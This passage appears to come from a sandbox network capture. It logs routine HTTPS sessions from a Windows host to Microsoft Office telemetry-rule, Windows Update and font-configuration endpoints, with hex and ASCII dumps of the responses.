2024-11-25 06:53:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065332Z-15b8b599d88m7pn7hC1TEB4axw00000005kg00000000cw2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:32 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065332Z-15b8b599d882zv28hC1TEBdchn00000005cg00000000ea70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:32 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065332Z-15b8b599d88s6mj9hC1TEBur3000000005c000000000b6pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49775	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:32 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k92Ep6cowWhcr6X&MD=TXH5N2lk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 06:53:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 41327bb0-6577-4a5d-9aa6-b3fc313ad2df MS-RequestId: 3c51abfc-9deb-4020-9777-d24c2a60ba59 MS-CV: xrH3R59c9ka54qu7.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 06:53:31 GMT Connection: close Content-Length: 24490
2024-11-25 06:53:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 06:53:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49783	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:32 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 06:53:32 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=95999 Date: Mon, 25 Nov 2024 06:53:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:34 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:34 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065334Z-178bfbc474bnwsh4hC1NYC2ubs000000072000000000ff8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:34 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065334Z-178bfbc474bbbqrhhC1NYCvw74000000077g0000000087h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065334Z-178bfbc474bv587zhC1NYCny5w0000000720000000001zdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49794	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:34 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 06:53:34 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=95975 Date: Mon, 25 Nov 2024 06:53:34 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 06:53:34 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 79f6ed77-701e-0021-554e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065334Z-15b8b599d882hxlwhC1TEBfa5w00000005cg00000000epcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:34 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d6db62af-701e-0097-3243-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065335Z-15b8b599d88pxmdghC1TEBux9c00000005q0000000009rv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:36 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:36 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: e845eaf5-101e-008e-5d91-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065336Z-15b8b599d882zv28hC1TEBdchn00000005cg00000000eabv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:36 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:36 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065336Z-174c587ffdfp4vpjhC1TEBybqw00000005fg00000000kdca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
